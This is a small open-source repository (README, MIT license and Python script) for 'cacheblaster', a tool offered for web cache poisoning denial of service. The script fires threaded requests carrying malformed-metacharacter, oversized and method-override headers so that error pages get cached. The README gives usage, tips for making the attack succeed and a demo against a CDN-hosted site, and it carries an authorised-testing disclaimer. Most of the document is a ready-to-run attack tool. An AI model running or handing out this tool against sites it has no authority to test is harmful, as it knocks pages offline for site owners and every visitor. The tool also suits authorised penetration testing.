├── LICENSE
├── README.md
└── cacheblaster.py
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2023 n0mi1k
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # cacheblaster
2 | A web cache poisoning denial of service (CPDoS) test tool written in Python. This tool sends requests of different header payloads to force an error on the target which may be cached on the server. If the response is cached, a denial of service attack occurs when affected URLs stop loading properly. It can also disrupt the functionalities and cause abnormal behaviors on the website by preventing dependant files such as JS and CSS from loading.
3 |
4 |
5 |
6 | ## Payload Options
7 | 1. **HTTP Meta Characters [Default]** - Sends harmful meta characters such as \x07\x07
8 | 2. **Oversized HTTP Header** - Sends oversized header > 8192 bytes (Slow)
9 | 3. **HTTP Method Override** - Override with unsupported HTTP method (Default=DELETE)
10 |
11 | ## Usage
12 | ```
13 | Usage:
14 | python3 cacheblaster.py -u [URL] [Other Flags]
15 |
16 | Flags:
17 | -u, --url The target URL [Required]
18 | -c, --cachebuster Enable cachebuster to avoid affecting other users [Default=Disabled]
19 | -p, --payload Payload to use (1. HTTP Metachars, 2. Oversize Header, 3. Method Override)
20 | -t, --threads Number of threads to use [Default=20]
21 | -r, --request Number of payload requests to send [Default=100]
22 | -h, --help Display the help page
23 |
24 | ```
25 | **Note:** Enable cachebuster mode with `-c` to avoid DoS on active pages
26 |
27 | ## Demo Attack
28 |
29 |
30 | Above demo is on a vulnerable target running on a Cloudflare CDN. After sending the payload, the error response is cached and the page no longer loads. A cachebuster GET parameter is used to prevent other users from being affected by the DoS.
31 |
32 | ## Testing Tips
33 | - Use on a URL that obtains a 200 response [Recommended]
34 | - Enable cachebuster to prevent affecting other users with `-c`, a GET parameter URL will be generated
35 | - If a non 200 OK response is obtained, visit the URL to see if the error response is cached
36 | - This test requires trial an error. If it is not successful, try using a different path or run again later
37 | - Sometimes a vulnerable page may show that it is not vulnerable, when the 200 OK responses are cached
38 | - False positives are expected, always validate again by browsing the URL
39 |
40 | ## Disclaimer
41 |
42 | This tool is for educational and testing purposes only. Do not use it to exploit the vulnerability on any system that you do not own or have permission to test. The authors of this script are not responsible for any misuse or damage caused by its use.
43 |
--------------------------------------------------------------------------------
/cacheblaster.py:
--------------------------------------------------------------------------------
1 | import requests
2 | import concurrent.futures
3 | import argparse
4 | import time
5 | import sys
6 | from random import choice
7 | from string import ascii_lowercase
8 |
9 | payload1 = {'X-Metachar-Header' : '\x07\x07\x07\x07\x07\x07\x07\x07\x07\x07\x07\x07\x07\x07\x07\x07metahttptest'}
10 | payload2 = {'X-Oversized-Header' : 'largelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelargelarge'}
11 | payload3 = {'X-HTTP-Method-Override' : 'DELETE'}
12 |
13 | RED = "\033[91m"
14 | YELLOW = "\033[93m"
15 | LIGHT_GREEN = "\033[92;1m"
16 | LIGHT_BLUE = "\033[96m"
17 | RESET = "\033[0m"
18 |
19 | class CustomFormatter(argparse.HelpFormatter):
20 | def format_help(self):
21 | help_str = super().format_help()
22 | art_str = r"""
23 | ( By n0mi1k ) ( ( )
24 | )\ ) ( /( ( ( )\ )\ ) ( /( ( (
25 | (((_) ( /( ( )\()) ))\ )((_)((_)( /( ( )\()) ))\ )(
26 | )\___ )(_)) )\ ((_)\ /((_)((_)_ _ )(_)) )\ (_))/ /((_)(()\
27 | ((/ __|((_)_ ((_)| |(_)(_)) | _ )| |((_)_ ((_)| |_ (_)) ((_)
28 | | (__ / _` |/ _| | ' \ / -_) | _ \| |/ _` |(_-<| _|/ -_) | '_|
29 | \___|\__,_|\__| |_||_|\___| |___/|_|\__,_|/__/ \__|\___| |_| v1.0
30 | """
31 | return art_str + "\n" + help_str
32 |
33 |
34 | def send_request(url, payloadType, r, s):
35 | headers = globals()[payloadType]
36 | resp = s.get(url, headers=headers)
37 | respCode = resp.status_code
38 | if respCode != 200 and respCode != 429:
39 | print(f"\r[~] Request {LIGHT_GREEN}{r}{RESET} Status: {RED}{respCode}{RESET} {RED}[Attack Success! Browse URL to Validate]{RESET}", end="")
40 | else:
41 | print(f"\r[~] Request {LIGHT_GREEN}{r}{RESET} Status: {YELLOW}{respCode}{RESET} {YELLOW}[Normal Response Received]{RESET}", end=" " * 14)
42 |
43 | # print(f"[+++] Servers Response: \n{resp.content}")
44 |
45 |
46 | def main():
47 | parser = argparse.ArgumentParser(prog='cacheblaster',
48 | description='A simple tool to test for web cache poisoning DoS (CPDoS)',
49 | usage='%(prog)s -u URL -t THREADS -p PAYLOADTYPE -r REQUESTS')
50 |
51 | parser = argparse.ArgumentParser(formatter_class=CustomFormatter)
52 | parser.add_argument("-u", "--url", help="URL of Target", required=True)
53 | parser.add_argument("-t", '--threads', help="Number of Threads (Default=20)", nargs='?', type=int)
54 | parser.add_argument("-p", "--payload", help="Payload to use (1. HTTP Metachar, 2. Oversize Header, 3. Method Override)", nargs='?', type=int)
55 | parser.add_argument("-r", "--request", help="Number of Requests (Default=100)", nargs='?', type=int)
56 | parser.add_argument("-c", "--cachebuster", default=False, action=argparse.BooleanOptionalAction)
57 |
58 | args = parser.parse_args()
59 |
60 | url = args.url
61 | threads = args.threads or 20
62 | payload = args.payload or 1
63 | requestCount = args.request or 100
64 | cachebusterFlag = args.cachebuster
65 |
66 | print("[*] Initializing CacheBlaster")
67 | print(f"[*] Number of Threads: {threads}")
68 | print(f"[*] Requests to send: {requestCount}")
69 |
70 | cacheBusterMode = "NO"
71 | start = time.perf_counter()
72 |
73 | if payload == 1:
74 | payloadType = "payload1"
75 | print(f"[*] Using Payload 1: {RED}HTTP Metachar Header{RESET}")
76 | elif payload == 2:
77 | payloadType = "payload2"
78 | print(f"[*] Using Payload 2: {RED}Oversized HTTP Header{RESET}")
79 | elif payload == 3:
80 | payloadType = "payload3"
81 | print(f"[*] Using Payload 3: {RED}HTTP Method Override{RESET}")
82 | else:
83 | print(f"[!] {RED}Invalid Payload! View payloads with -h flag{RESET}")
84 | exit()
85 |
86 | s = requests.Session()
87 |
88 | if cachebusterFlag:
89 | cacheBusterMode = "YES"
90 | url = url + "?buster=" + ''.join(choice(ascii_lowercase) for i in range(8))
91 | print(f"[+] Using Cachebuster: {LIGHT_GREEN}{cacheBusterMode}{RESET}")
92 | else:
93 | print(f"[+] Using Cachebuster: {RED}{cacheBusterMode}{RESET}")
94 |
95 | print(f"[+] Sending Payload to {LIGHT_BLUE}{url}{RESET}")
96 |
97 | with concurrent.futures.ThreadPoolExecutor(max_workers=int(threads)) as executor:
98 | for r in range(requestCount + 1):
99 | executor.submit(send_request(url, payloadType, r, s))
100 |
101 | finish = time.perf_counter()
102 | print(f'\n[+] Sent {requestCount} payload requests in {round(finish-start, 2)} second(s)')
103 |
104 |
105 | if __name__ == '__main__':
106 | main()
--------------------------------------------------------------------------------